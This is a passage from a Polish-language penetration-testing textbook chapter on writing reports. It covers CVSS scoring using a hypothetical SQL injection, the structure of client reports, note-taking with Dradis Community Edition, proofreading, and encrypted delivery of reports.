kownik, nawet anonimowy, to ryzyko jest znacznie wyższe, bo nie jest potrzebne wcześniejsze pod-
niesienie swoich uprawnień. W tej opcji można wybierać między wartościami none (brak), low
(niskie) i high (wysokie). Wartość none oznacza, że podatność może być wykorzystana przez każ-
dego, nawet przez użytkownika bez żadnych uprawnień w systemie. Tutaj przykładem może być
nasza hipotetyczna podatność na wstrzykiwanie poleceń SQL. Wyobraź sobie, że chcąc wyko-
rzystać tę podatność w aplikacji sieciowej, musisz uzyskać uprawnienia administratora tej aplikacji,
ale nie użytkownika systemu operacyjnego, na którym działa ta aplikacja. W takim przypadku tej
opcji należałoby przypisać wartość low lub high, choć to będzie też zależało od zakresu uprawnień,
jakie w aplikacji otrzymuje użytkownik administracyjny.

Interakcja z użytkownikiem
Podatność na wstrzykiwanie poleceń SQL nie będzie wymagała żadnej interakcji z użytkownikiem,
dlatego w ten opcji można będzie podać wartość none. Atakujący może wykorzystać tę podatność,
wiedząc i oczekując, że nie będzie potrzebna żadna reakcja ze strony użytkownika systemu. Jeżeli
jednak użytkownik, którego w tych okolicznościach można uznać za ofiarę ataku, musi wykonać
jakieś operacje, żeby można było wykorzystać daną podatność, to mamy inną sytuację, w której
interakcja z użytkownikiem jest wymagana (ang. required). Jeżeli użytkownik z atakowanej orga-
nizacji musi kliknąć łącze, które uruchamia przygotowany exploit, to jest to przypadek wymaganej
interakcji z użytkownikiem.

3681988c430c7fe1e8567c4e2f281f7b
3
540 Rozdział 15  Pisanie raportów

Zakres
Zakres może być niezmieniony (ang. unchanged) lub zmieniony (ang. changed). Jeżeli podatność
na wstrzykiwanie poleceń SQL w aplikacji sieciowej można wykorzystać do uzyskania dostępu do
systemu operacyjnego hosta obsługującego bazę danych, to zakres ataku się zmienia, ponieważ po-
datny komponent (tutaj aplikacja sieciowa) staje się przepustką do innego komponentu systemu
(tutaj hosta serwera baz danych). W przypadku błędu XSS zakres prawdopodobnie się nie zmieni,
ponieważ nie wpływa on na działanie innych komponentów niż sama aplikacja sieciowa. Wartość opcji
zakres mówi nam, czy komponent z podatnością może mieć wpływ na inne komponenty systemu.

Wpływ na poufność, spójność i dostępność danych

Parametrom poufności, spójności i dostępności danych można przypisywać wartości none (brak),
low (niskie) lub high (wysokie). Błąd, który może mieć wpływ na wszystkie trzy elementy, jest praw-
dopodobnie błędem krytycznym, ale jedynie w sytuacji, gdy pozwalają na to przedstawione wcze-
śniej metryki.
Możemy wyróżnić trzy rodzaje wpływu, jaki może mieć na system skutecznie przeprowadzony
atak na wybraną podatność. Po pierwsze system może utracić poufność (ang. confidentiality) infor-
macji, na przykład w wyniku wykradzenia wrażliwych danych klientów.
Spójność danych (ang. integrity) mówi nam, na ile możemy ufać w prawdziwość informacji.
Gdy istnieje możliwość zmodyfikowania danych przesyłanych między klientem a atakowaną apli-
kacją sieciową, ma to wpływ na spójność danych.
I w końcu dostępność (ang. availablity) jest parametrem wskazującym, czy wybrany komponent jest
nadal dostępny i może spełniać swoje funkcje. Chodzi na przykład o to, czy serwer WWW nadal jest
w stanie przesyłać strony do przeglądarek, a jeżeli tak, to czy może to robić w nieograniczonym zakresie.
Wykorzystanie podatności na wstrzykiwanie poleceń SQL będzie miało wysoki wpływ na po-
ufność danych, ponieważ można w ten sposób odczytać wszystkie tabele z bazy i przesłać ich za-
wartość do atakującego. Spójność danych ucierpi, jeżeli będzie istniała możliwość modyfikowania
informacji zapisanych w takiej bazie danych. Z kolei dostępność będzie niezmieniona, jeżeli ataku-
jącemu nie uda się usunąć danych ani zablokować dostępu do nich pozostałym użytkownikom.
W innych okolicznościach atak odmowy dostępu (DoS) może całkowicie wyłączyć serwer na-
wet na kilka godzin (nawet po zakończeniu ataku), ale nie będzie miał żadnego wpływu na pouf-
ność i spójność danych. Niemniej jednak ataki DoS mają duży wpływ na ich dostępność.
Podsumowując, atak wykorzystujący wstrzykiwanie poleceń SQL ma sieciowy wektor ataku,
jest atakiem o wysokim poziomie złożoności, jego wykorzystanie nie wymaga żadnych uprawnień
ani żadnej interakcji z użytkownikiem. Zakres pozostaje niezmieniony, jeżeli nie uda się w ten spo-
sób uzyskać dostępu do konta użytkownika root na serwerze baz danych, ale może być też zmie-
niony, jeżeli istnieje możliwość uzyskania takiego dostępu. Może mieć też wysoki wpływ na poufność,
spójność i dostępność danych, jeżeli rozpatrywana podatność umożliwia odczytywanie i zapisywa-
nie danych w bazie. Po wprowadzeniu tych danych do kalkulatora oceny CVSS otrzymamy wartość
9,8 lub 10 (zależenie od wybranego zakresu), co oznacza, że mamy do czynienia z krytyczną podat-
nością. Na rysunku 15.1 można zobaczyć stronę kalkulatora ocen CVSS, na której wprowadzono
informacje zgodnie z powyższym opisem.

3681988c430c7fe1e8567c4e2f281f7b
3
Umiejętność pisania raportów 541

Rysunek 15.1. Kalkulator ocen NIST NVD CVSS v3.1

Umiejętność pisania raportów

Sporo czasu spędziliśmy na hakowaniu maszyn wirtualnych i eksperymentowaniu z różnymi
narzędziami, ale jak dotąd nie zajmowaliśmy się jeszcze spisywaniem informacji o znalezionych
nieprawidłowościach. To typowa cecha nowych i niedoświadczonych testerów penetracyjnych.
Po prostu nie umieją oni pisać raportów, nawet jeżeli sprawnie radzą sobie z wyszukiwaniem i po-
twierdzaniem podatności. Jeżeli poszukujesz podatności w systemach klienta, to nie ma znaczenia,
jak skutecznie umiesz wykorzystywać znalezione problemy. Jeżeli nie zdołasz przełożyć tych pro-
blemów na rzeczywiste ryzyko dotykające firmę klienta, to cały raport nie będzie miał odpowiedniej
wagi i zapewne nie zrobi wrażenia na radzie dyrektorów. Umiejętność programowania wymaga
poznania metod pisania dobrze skomentowanego kodu. I podobnie: sprawny tester penetracyjny
musi wykształcić w sobie świetne umiejętności komunikacyjne realizowane przez pisanie raportów.
Nietrudno się domyślić, że pisanie raportów jest umiejętnością zgoła odmienną od hakowania.
Podobnie jak w przypadku każdej umiejętności, trzeba ją ćwiczyć, aby w końcu stała się czymś natu-
ralnym. Jeżeli już teraz umiesz pisać teksty, na przykład piszesz różne pisma akademickie, to mo-
żesz wykorzystać posiadane umiejętności również podczas pisania raportów.

3681988c430c7fe1e8567c4e2f281f7b
3
542 Rozdział 15  Pisanie raportów

Co powinno znaleźć się w raporcie?

Każda firma zajmująca się bezpieczeństwem, jak również niezależni testerzy penetracyjni mają wła-
sne opinie na temat tego, co powinno znaleźć się w raporcie. Mimo to większość zgadza się co do
najważniejszych elementów. Pokażemy teraz elementy, które w firmie Hacker House umieszczamy
w niemal każdym raporcie przygotowywanym dla klienta. Każda z podanych niżej sekcji zostanie
dokładniej omówiona w dalszej części rozdziału:
 podsumowanie dla dyrektorów;
 podsumowanie techniczne;
 ocena wyników:
• opisy podatności,
• zalecenia;
 informacje uzupełniające i dowody:
• zrzuty ekranów,
• wydruki z użytych narzędzi,
• metodologia użyta w teście.

Podsumowanie dla dyrektorów

Dla osób, które nigdy nie piastowały w żadnej firmie stanowiska odpowiedzialnego za podejmo-
wanie decyzji strategicznych, napisanie pierwszej części raportu może być naprawdę trudne. Chcąc
napisać podsumowanie dla dyrektorów, trzeba zacząć myśleć jak dyrektor firmy, a nie jak haker.
Musisz zacząć myśleć o biznesie, zyskach, marżach i ryzyku. W tej części raportu musisz zaprezen-
tować ryzyko wynikające z wykrytych problemów osobom zainteresowanym wyłącznie biznesem.
Przyjrzyj się poniższemu przykładowemu zdaniu:
W aplikacji sieciowej wykryto krytyczny błąd bezpieczeństwa w postaci podatności na wstrzy-
kiwanie poleceń SQL, która umożliwia anonimowemu hakerowi dostęp do konta użytkow-
nika root systemu operacyjnego tego hosta.
Ta informacja ma znaczenie dla każdej osoby technicznej, ale dla prezesa wielkiego przedsię-
biorstwa będzie raczej niezrozumiała. Spróbujmy zatem poniższego wariantu:
Podczas badania aplikacji sieciowej wykryto krytyczny błąd bezpieczeństwa, do wykorzysta-
nia którego nie potrzeba wysokich umiejętności. Po udanym wykorzystaniu tego błędu ataku-
jący może uzyskać dostęp do wrażliwych informacji, w tym do danych klientów firmy.
Ta wersja będzie czytelniejsza dla prezesa przedsiębiorstwa, ponieważ wyjaśnia problem
w mniej techniczny sposób i zwraca uwagę na ryzyko. Nie ma potrzeby dokładnego opisywania
wykrytej podatności. To można zrobić później, w technicznej części raportu. Po przeczytaniu tych
zdań dyrektor nadal może mieć ochotę zignorować nasze ostrzeżenia, ponieważ nadal nie zapre-
zentowaliśmy pełnego wpływu tego ryzyka na firmę. Można zatem rozwinąć temat, dopisując po-
niższe zdania:

3681988c430c7fe1e8567c4e2f281f7b
3
Podsumowanie techniczne 543

Usunięcie takiej podatności niemal nigdy nie stanowi większego problemu, natomiast pozo-
stawienie jej w systemie może skutkować stratami finansowymi oraz szkodami dla reputacji
firmy i jej marki. Ten rodzaj podatności jest doskonale znany i wykorzystywany w internecie
przez różne przestępcze organizacje.
Podając czytelnikowi podstawowe fakty na temat znalezionego problemu i prezentując je
w kontekście sieci i organizacji klienta, skłaniasz dyrektorów firmy do podjęcia kroków mających
na celu usunięcie błędu. Pamiętaj też, że piszesz do osób, które znacznie lepiej od Ciebie znają swoją
firmę i z pewnością dysponują doświadczeniem i inteligencją pozwalającymi na wyciągnięcie wła-
ściwych wniosków na podstawie zaprezentowanych faktów.
Subtelnej perswazji należy używać natomiast w przypadku, gdy przekazujemy informacje, które
mogą być trudne do zaakceptowania dla odbiorcy. Podczas pracy w systemie klienta, w którym
jesteśmy tylko gośćmi, musimy zachowywać się dyskretnie, natomiast podczas prezentowania in-
formacji musimy pamiętać o tym, że to, co przekazujemy, będzie podlegało interpretacji przez każ-
dego z czytelników. Dlatego zawsze lepiej trzymać się faktów i przekazywać informacje w sposób
jasny i spójny, starać się unikać trybu przypuszczającego, a w razie potrzeby udzielać czytelnikowi
szczegółowych informacji technicznych. Nie można też zapominać o podsumowaniu skierowanym
do laików, którzy mogą nie rozumieć stosowanej przez nas terminologii technicznej.
Dobrze jest podzielić podsumowanie dla dyrektorów na kilka sekcji. Wykorzystanie wykresów
i grafów jest świetnym sposobem na urozmaicenie infografik i prezentacji. Na przykład można wy-
korzystać wykresy do zaprezentowania wszystkich wykrytych problemów w funkcji poziomu ich
ryzyka albo przez podzielenie ich na kategorie ryzyka: wysoką, średnią, niską i informacyjną. Prezes
firmy raczej nie będzie miał czasu na dokładne przeczytanie 100-stronicowego dokumentu oraz
technicznych szczegółów wszystkich exploitów, dlatego umieszczenie ich w części dla dyrektorów
może ich niepotrzebnie odciągać od głównego przesłania przygotowanego raportu. Jeżeli zdołasz
wyjaśnić, w jaki sposób dana podatność może wpłynąć na finanse i reputację firmy, to właśnie na
tej informacji należy skupiać uwagę dyrektorów. Podsumowanie swojego testu staraj się zawrzeć
w jednym, krótkim akapicie, przyjmując w nim narrację wyjaśniającą skutki zignorowania podatno-
ści zaprezentowanych w raporcie. Podsumowanie dla dyrektorów powinno zawrzeć się w krótkim,
spójnym tekście, który nie powinien wykraczać poza jedną stronę wydruku. Staraj się unikać zasy-
pywania czytelnika niepotrzebnie kwiecistymi sformułowaniami.

Podsumowanie techniczne
Umieszczone w raporcie podsumowanie techniczne ma być tekstem skierowanym do odbiorców
technicznych, choć nie trzeba w nim zawierać wszystkich szczegółów problemów, jakie udało się
wykryć w trakcie testu. Chodzi tutaj przecież o samo podsumowanie. Ta część raportu zwykle jest
kierowana do szefa działu IT albo do osoby odpowiedzialnej za przydzielanie zasobów do rozwią-
zywania problemów technicznych. To ta osoba może później przekazać wybrane problemy po-
szczególnym zespołom. Dzięki takiemu podsumowaniu będzie ona mogła ocenić zakres prac, jakie
muszą zostać wykonane. Mówimy tutaj bardzo ogólnie, ponieważ każda organizacja wygląda tro-
chę inaczej. Być może w jednej firmie będzie to konkretna osoba, która przeczyta raport w całości
i samodzielnie zajmie się rozwiązywaniem wyszczególnionych w nim problemów. W innym

3681988c430c7fe1e8567c4e2f281f7b
3
544 Rozdział 15  Pisanie raportów

przypadku może to być kilka osób pracujących w różnych miejscach nad niezależnymi komponen-
tami systemu. Celem jest zatem przygotowanie takiego raportu, który dobrze sprawdzi się we
wszystkich tych przypadkach. Dobrze jest przystosować raport do szczególnych wymogów swojego
klienta, które powinny zostać omówione jeszcze przed rozpoczęciem samego testu. Klient może na
przykład być zadowolony z prostego arkusza kalkulacyjnego z listą wszystkich błędów, przezna-
czonego dla zespołów technicznych, i nie będzie wymagał ogólnego opisu dla menedżerów. Ocze-
kiwania można świetnie ustalić za pomocą odpowiedniej komunikacji i rozmów prowadzonych
z klientem jeszcze przed rozpoczęciem prac nad dokumentem.

Ocena wyników
Początkowe części raportu, czyli podsumowania dla dyrektorów i techniczne, są ogólną prezentacją
znalezionych problemów, natomiast w części oceny wyników należy prezentować wszystkie szcze-
góły na temat każdego problemu i uzupełniać je poradami dotyczącymi sposobu ich usuwania.
Można tutaj podać również odwołania do innych informacji, które pozwolą czytelnikowi lepiej
zrozumieć prezentowany problem. Ta część raportu jest skierowana do odbiorców technicznych,
ale mimo to nie należy zakładać, że każdy z nich będzie znał szczegóły każdego z podawanych pro-
blemów. Należy zatem objaśniać te problemy za pomocą względnie prostej terminologii oraz udo-
stępniać linki do źródeł dodatkowych informacji. W tej części raportu nie należy stosować zrzutów
ekranu ani zawartości okien terminala, ponieważ mogą one rozpraszać czytelnika i uniemożliwić
przekazanie mu najważniejszych informacji. W tej części lepiej jest stosować tylko odwołania do
zrzutów ekranu, poleceń terminala i wydruków, które powinny zostać zebrane w części raportu
zawierającej informacje uzupełniające. Każdy znaleziony problem powinien zostać oznaczony uni-
kalnym numerem. Można stosować dowolną metodę numeracji, choć w zupełności wystarczy od-
liczanie od 1 w górę. Tych samych numerów można użyć do wyznaczania podrozdziałów w sekcji
informacji uzupełniających, co bardzo ułatwi odszukiwanie ich w razie potrzeby.

Informacje uzupełniające
Sekcja informacji uzupełniających powinna znaleźć się na samym końcu raportu, ponieważ będzie
ona źródłem danych dla osób odpowiedzialnych za usuwanie problemów znalezionych przez te-
stera penetracyjnego. Zadaniem tej części raportu jest zaprezentowanie konkretnych dowodów na
istnienie wykrytych przez nas błędów i wspomaganie pracowników technicznych w odtwarzaniu
tych błędów we własnym zakresie. Taka prezentacja informacji zwiększa wiarygodność całego
raportu, ponieważ jest dowodem na to, że nie wymyśliliśmy sobie listy problemów, które tak na-
prawdę nie istnieją. Poza tym takie informacje są szczególnie istotne dla ludzi, którzy muszą zająć
się usuwaniem tych problemów.
Informacje uzupełniające składają się ze zrzutów ekranu przedstawiających dowody na przy-
kład na istnienie podatności na wstrzykiwanie poleceń SQL oraz z wydruków z terminala prezen-
tujących na przykład udane uruchomienia exploitu za pomocą frameworku Metasploit. Ważne jest,
żeby umieszczać tu wyłącznie istotne informacje, które bezpośrednio dotyczą znalezionych proble-
mów. Oczywiście nie należy też pomijać wszystkich ważnych szczegółów. Oprócz Twojego klienta

3681988c430c7fe1e8567c4e2f281f7b
3
Sporządzanie notatek 545

jest jeszcze ktoś, kto jest bardzo zainteresowany zawartością tej części raportu. Domyślasz się,
o kogo chodzi? Nie, nie mamy na myśli złośliwego hakera, który chciałby dostać taki raport w swoje
ręce. Mamy na myśli Ciebie. Jeżeli w przyszłości znowu będziesz współpracować z tym samym
klientem (na przykład za rok), to taki raport dostarczy Ci informacji o problemach, które należa-
łoby ponownie przetestować. Oczywiście wtedy będziesz przeprowadzać całkowicie nowy test, ale
taki zbiór informacji na temat badanej sieci pozwala odświeżyć sobie pamięć i ułatwia sprawdzenie,
czy stare problemy rzeczywiście zostały usunięte.

Sporządzanie notatek
Szanse sporządzenia wartościowego raportu będą minimalne, jeżeli w trakcie prowadzenia oceny
bezpieczeństwa sieci oraz samego testu penetracyjnego nie były prowadzone jasne i jednoznaczne
notatki. Gdy przychodzi czas sporządzenia raportu końcowego, musisz mieć już przygotowaną listę
problemów, które udało Ci się wykryć i potwierdzić, uzupełnioną o dowody ich istnienia, takie jak
zrzuty ekranu lub wydruki z terminala. Zapisywanie takich notatek do pliku tekstowego albo do
większego dokumentu lub arkusza kalkulacyjnego jest w wielu przypadkach wystarczające, ale
można też korzystać ze specjalizowanych narzędzi, które ułatwiają prowadzenie takiego projektu.

Dradis Community Edition

Dradis Community Edition (Dradis CE) jest narzędziem o otwartych źródłach, którego zadaniem
jest generowanie raportów na podstawie notatek oraz informacji, które wprowadzasz w trakcie re-
alizacji projektu. Program można pobrać ze strony https://dradisframework.com/ce. Niezależnie od
tego, czy chcesz przygotować raport dla zewnętrznego klienta, czy dla odbiorców wewnętrznych,
ten program ułatwia odpowiednią organizację pracy. Wprawdzie nie napisze raportu za Ciebie, ale
pozwoli Ci zaoszczędzić wiele czasu w trakcie pracy.
Program Dradis CE można zainstalować w systemie Kali Linux, używając repozytorium Git
albo bezpośrednio z repozytorium systemu operacyjnego. Jeżeli zdecydujesz się na instalację z re-
pozytorium Git, to lepiej postępuj zgodnie z instrukcjami podawanymi na stronie projektu Dradis.
Aby zainstalować program z repozytorium systemu Kali Linux, musisz pobrać i zainstalować pakiet
Dradis, co można zrobić za pomocą polecenia apt install dradis. Po zainstalowaniu pakietu
musisz jeszcze dodać właściwą wersję pakietu bundler do obsługi zależności, używając polecenia
gem install bundler:1.17.3. Od tego momentu program Dradis jest prawie gotowy do użycia.
Wymaga jeszcze wprowadzenia kilku zmian w konfiguracji, dlatego lepiej jest najpierw przejrzeć
i edytować pliki w katalogu /etc/dradis, choć nie jest to konieczne, żeby wstępnie przetestować apli-
kację. Zmień aktualny katalog poleceniem cd /usr/lib/dradis, a następnie zmień bazę danych
używaną przez program, dopasowując ją do środowiska systemu Kali przez wpisanie polecenia
bin/rails db:migrate RAILS_ENV=development. W ten sposób uruchomiona zostanie migracja
bazy danych oraz przygotowana zostanie konfiguracja niezbędna do uruchomienia programu
w systemie Kali Linux 2020.2.

3681988c430c7fe1e8567c4e2f281f7b
3
546 Rozdział 15  Pisanie raportów

Dradis CE jest aplikacją sieciową działającą w lokalnym systemie, którą można uruchomić
z wiersza poleceń za pomocą polecenia rails server. Program wykonywalny rails znajduje się
w katalogu /usr/lib/dradis/bin. W systemie Kali można po prostu wpisać polecenie dradis, a apli-
kacja zostanie uruchomiona (pod warunkiem że wcześniej zostały wykonane opisane wyżej kroki)
i automatycznie załadowana w przeglądarce. Po uruchomieniu samej aplikacji można się z nią po-
łączyć za pomocą przeglądarki i adresu URL http://127.0.0.1:3000. Po pierwszym uruchomieniu
(na początku program potrzebuje kilku chwil) zobaczysz ekran z prośbą o podanie hasła, taki jak
na rysunku 15.2.

Rysunek 15.2. Program Dradis Community Edition

Jednocześnie w oknie terminala wypisywane są informacje diagnostyczne (prezentujemy je po-

niżej). Będą się one pojawiały tak długo, jak długo będziesz korzystać z aplikacji sieciowej. Dzieje
się tak jednak tylko w przypadku, gdy program zostanie uruchomiony ręcznie za pomocą polecenia
rails, a nie bezpośrednio poleceniem dradis. Jeżeli użyjesz polecenia dradis, to wszystkie te ko-
munikaty zapisywane będą do pliku protokołu w katalogu /var/log/dradis.
=> Booting Puma
=> Rails 5.1.7 application starting in development
=> Run `rails server -h` for more startup options
Puma starting in single mode...
* Version 4.3.1 (ruby 2.5.7-p206), codename: Mysterious Traveller
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://127.0.0.1:3000
* Listening on tcp://[::1]:3000
Use Ctrl-C to stop

Przy kolejnych uruchomieniach programu możesz logować się za pomocą ustalonego na po-
czątku hasła oraz swojej nazwy użytkownika, tak jak na rysunku 15.3.

3681988c430c7fe1e8567c4e2f281f7b
3
Dradis Community Edition 547

Rysunek 15.3. Ekran logowania do programu Dradis

Po zalogowaniu zobaczysz stronę podsumowania projektu, taką jak na rysunku 15.4. Domyślny,
przykładowy projekt jest jednocześnie wprowadzeniem i instrukcją użytkowania programu. Jeżeli
w Twoim programie nie został załadowany przykładowy projekt, to możesz go odtworzyć po zatrzy-
maniu serwisu Dradis i wpisaniu poniższych poleceń.
cd /usr/lib/dradis
bin/rails db:setup
bin/bundle exec thor dradis:setup:welcome
bin/rails server

Rysunek 15.4. Widok podsumowania projektu w programie Dradis

3681988c430c7fe1e8567c4e2f281f7b
3
548 Rozdział 15  Pisanie raportów

Dla ułatwienia pierwszych kroków do projektu wpisano kilka użytecznych informacji. Kliknij
zatem łącze 0 – Start Here w sekcji Nodes znajdującej się po lewej stronie ekranu.
W programie Dradis CE węzły (ang. nodes) umożliwiają tworzenie list hostów analizowanych
podczas pracy z klientem. Do każdego z węzłów można później dodawać notatki, dowody (na przy-
kład zrzuty ekranu) oraz wykryte problemy. W przykładowym projekcie można zobaczyć kilka do-
danych już problemów oznaczonych znacznikami Critical, High, Medium, Low lub Info. Do pro-
jektu można dodawać kolejne zapisy problemów, używając do tego łącza All Issues znajdującego się
w lewym górnym rogu strony.
W trakcie pracy nad oceną systemu lub przy wykonywaniu testu penetracyjnego możesz dodawać
wszystkie nowo wykryte problemy do projektu Dradis CE. Dzięki tego rodzaju narzędziom nie mu-
sisz rozpoczynać od zera opisu każdego wykrytego problemy, a zebrane w ten sposób notatki bardzo
ułatwią Ci późniejsze przygotowanie raportu końcowego. Wiele opisów będzie już przygotowa-
nych w bibliotece programu Dradis, z której można korzystać w trakcie przystosowywania raportu
do wymogów danego klienta. Komercyjne wersje programu zawierają wbudowaną funkcję biblioteki
problemów, ale nic nie stoi na przeszkodzie, żeby podobną bibliotekę przygotować sobie niezależnie
do samego programu. Nie musisz też każdego raportu pisać całkiem od początku. Przejrzyj najpierw
opisy dołączane do takich narzędzi jak Burp Suite Community Edition albo OWASP ZAP i wykorzy-
staj je jako podstawę do przygotowania własnej biblioteki szablonów z opisami różnych problemów.
Podczas pracy nad oceną systemu bardzo pomaga zastosowanie jakiejś metodologii. Kliknij
łącze Methodologies znajdujące się w lewym górnym rogu strony (widoczne jest na rysunku 15.4),
a następnie kliknij łącze Getting Started With Dradis Checklist, co spowoduje wyświetlenie ekranu
podobnego do przedstawionego na rysunku 15.5. Nie jest to co prawda pełnoprawna metodologia,
gotowa do wykorzystania podczas testu penetracyjnego, ale dobra prezentacja sposobu działania
tego systemu.

Rysunek 15.5. Metodologie w programie Dradis CE

3681988c430c7fe1e8567c4e2f281f7b
3
Sprawdzanie tekstu 549

Spróbuj tutaj przeciągać zadania z pola Pending (po lewej) na pole Done (po prawej). Możesz
też wrócić na stronę Methodologies, a potem kliknąć na niej przycisk Create A New Methodology.
Możesz w ten sposób utworzyć własną metodologię, wykorzystując różne techniki, na przykład te
prezentowane w tej książce albo inne, znane Ci z innych źródeł. Zastosowana metodologia pozwala
na konsolidację posiadanych informacji. Metodologie są szczególnie przydatne wtedy, gdy nad
projektem pracuje cały zespół.
Program Dradis CE został zaprojektowany tak, żeby ułatwiać wprowadzanie danych o wykry-
tych problemach, a po zakończeniu testu umożliwiać eksport tych danych w postaci dokumentu
(raportu końcowego), który można przekazać swojemu klientowi. Zanim program będzie mógł
bezproblemowo wygenerować gotowy raport, musisz poświęcić trochę czasu na przygotowanie od-
powiedniej konfiguracji. Jednak gdy ta będzie już gotowa, program pozwoli Ci zaoszczędzić wiele
czasu w porównaniu z próbami samodzielnego przygotowania dokumentu w programach edycyj-
nych. Na rysunku 15.6 prezentujemy moduł menedżera eksportu (Export Manager), który jest do-
stępny po kliknięciu łącza Export Results widocznego na górze każdej strony w aplikacji (w tym
miejscu znajdują się też inne łącza, którym na pewno warto się przyjrzeć).

Rysunek 15.6. Eksportowanie wyników w programie Dradis CE

Sprawdzanie tekstu
Zalecamy, żeby po zakończeniu prac nad raportem cały jego tekst przekazać do przejrzenia przez
przynajmniej jedną osobę. Powinna to być osoba, która pracuje albo razem z Tobą, albo dla Ciebie
i którą obowiązuje ta sama umowa z zakazem ujawniania informacji oraz kontrakt, jaki został pod-
pisany z klientem. Chodzi przede wszystkim o to, żeby ktoś obiektywny przeczytał cały tekst
raportu i wyłapał w nim błędy gramatyczne, literówki oraz inne błędy językowe. Najlepiej byłoby,
gdyby taka osoba mogła skontrolować zapisany w reporcie tekst, sprawdzając, czy można go ła-
two przeczytać, niezależnie od tego, czy jest poprawny technicznie i gramatycznie. Dobrze jest

3681988c430c7fe1e8567c4e2f281f7b
3
550 Rozdział 15  Pisanie raportów

przygotować raport, który można łatwo przeczytać, a który jednocześnie przekazuje wszystkie in-
formacje niezbędne do usunięcia wykrytych nieprawidłowości. W wielu przypadkach bardzo łatwo
pisze się długie zdania, powtarzając w nich wielokrotnie te same słowa. Podczas pisania tej książki
autorzy mogli korzystać z pomocy kilku redaktorów. Cała książka (podobnie jak większość takich
publikacji) przed oficjalnym wydaniem miała kilka wersji roboczych.
Czytelność przygotowanego raportu jest niezwykle istotna, ale równie ważna jest techniczna
poprawność w opisie wykrytych błędów. Z tego powodu ktoś powinien zająć się potwierdzaniem
wykrytych problemów, wykorzystując przy tym podane przez Ciebie informacje. Błędy niestety się
zdarzają, niezależnie od tego, jak dokładnie sprawdzony będzie każdy raport. Czasami to klient
jako pierwszy znajdzie pomyłkę w raporcie. Jeżeli tak się zdarzy, to pamiętaj, że to jeszcze nie ko-
niec świata. Możesz przeprosić za błąd, przyjrzeć się wykrytemu problemowi i przygotować drugą
wersję raportu, w którym błąd będzie już usunięty. Klient może też zaproponować stosowanie
metod zmniejszających ryzyko wynikające z wykrytej podatności albo zacząć dyskutować, czy taka
podatność może mieć tak poważne skutki, jak przedstawiono w Twoim raporcie. W takich przy-
padkach dobrze jest mieć możliwość potwierdzenia swoich wniosków i ponownego sprawdzenia
całej pracy, co może przyczynić się do powstania poprawionej wersji dokumentu.

Przekazanie raportu
Nigdy nie należy spieszyć się z przekazaniem raportu klientowi. Bardzo ważne jest, żeby raport
końcowy z przeprowadzonego testu nie wpadł w niepowołane ręce. W takim raporcie podawane
są podatności istniejące w systemach klienta oraz inne techniczne informacje, które należy uznać
za bardzo wrażliwe, dlatego należy zachować je dla siebie i swojego klienta. Zaleca się, żeby przy-
gotowany dokument raportu przesłać klientowi w jak najbardziej zabezpieczony sposób. Jak zdą-
żyliśmy się już przekonać, nie można zagwarantować stuprocentowego bezpieczeństwa żadnych
danych, ale podczas przesyłania dokumentu należy stosować możliwie najmocniejsze metody szy-
frowania. Jeżeli korzystasz z poczty elektronicznej, powinieneś dostosować się do standardu stoso-
wanego przez specjalistów od cyberbezpieczeństwa, czyli szyfrowania PGP (Pretty Good Privacy).
Niestety szybko się przekonasz, że wielu klientów nie jest przygotowanych do wysyłania i obierania
poczty zabezpieczonej w ten sposób. W takich przypadkach można skorzystać z podobnie bez-
piecznych alternatyw, takich jak OpenSSL, S/MIME albo szyfrowanie archiwów. Decydując się na
metody inne niż PGP, pamiętaj, że niektóre formy szyfrowania nie są w stanie odpowiednio sku-
tecznie opierać się atakom i dlatego nie powinno się z nich korzystać.
Klasycznym przykładem mogą być tutaj pliki ZIP zabezpieczone domyślnym szyfrowaniem,
które dzisiaj są bardzo szybko łamane za pomocą ataków siłowych. Podobnie chronione hasłem
pliki Microsoft Office również nie nadają się do bezpiecznego przesyłania informacji zawartych
w raporcie, ponieważ one również łatwo poddają się atakom siłowym (choć tu łatwość ataku jest
różna w zależności od wersji). Najlepiej byłoby korzystać z e-mail zabezpieczonych szyfrowaniem
PGP i pamiętać o konieczności szyfrowania wszystkich załączników. Można też przesłać swój ra-
port za pośrednictwem specjalizowanego portalu do przesyłania zaszyfrowanych plików. Oczywi-
ście można też używać plików ZIP zabezpieczonych szyfrowaniem AES-256, którą to kombinację
obsługują takie narzędzia jak 7-zip albo WinZip. Niestety czasami powoduje to problemy po stro-
nie klienta, jeżeli nie korzysta on z narzędzi przystosowanych do obsługi takiego formatu plików.

3681988c430c7fe1e8567c4e2f281f7b
3
Podsumowanie 551

Podsumowanie
Jeżeli chcesz doprowadzić do perfekcji swoje umiejętności pisania raportów (a dlaczego nie?), to
poświęć im tyle czasu, ile będzie konieczne. Ćwicz pisanie tekstów oraz wyszukuj sposoby, które
pomogą Ci usprawnić te ćwiczenia. Nie chodzi tu wyłącznie o poprawienie umiejętności pisania
raportów z testów penetracyjnych. Doskonałą pomocą jest ogólna umiejętność pisania tekstów i sku-
tecznego przekazywania informacji. Istnieje wiele wykształconych technicznie osób, które świetnie
sobie radzą z wyszukiwaniem podatności w systemach, ale mają problemy z pisaniem raportów
albo w ogóle nie znoszą tej części projektu. Jeżeli ten opis dotyczy i Ciebie, to spróbuj potraktować
pisanie raportów jak kolejną metodę na lepsze zaznajomienie się z problemami technicznymi.
Pamiętaj o tym, że podstawą każdego raportu powinny być zgromadzone dowody oraz fakty i że
należy unikać w nich snucia teorii i przypuszczeń. Przygotowany raport powinien być łatwy w od-
biorze zarówno dla osób technicznych, jak i nietechnicznych. Dokumenty przygotowane w tym du-
chu powinny prezentować jasne i niedwuznaczne instrukcje oraz dowody wskazujące, że wykryte
problemy są rzeczywiście podatnościami. Każdą umiejętność można rozwijać ciągłym ćwiczeniem,
dlatego nie możesz unikać okazji do napisania kolejnego raportu. Wykonuj te ćwiczenia tak pilnie,
jak ćwiczysz inne swoje umiejętności, które przydają Ci się podczas hakowania systemów.

3681988c430c7fe1e8567c4e2f281f7b
3
3681988c430c7fe1e8567c4e2f281f7b
3
3681988c430c7fe1e8567c4e2f281f7b
3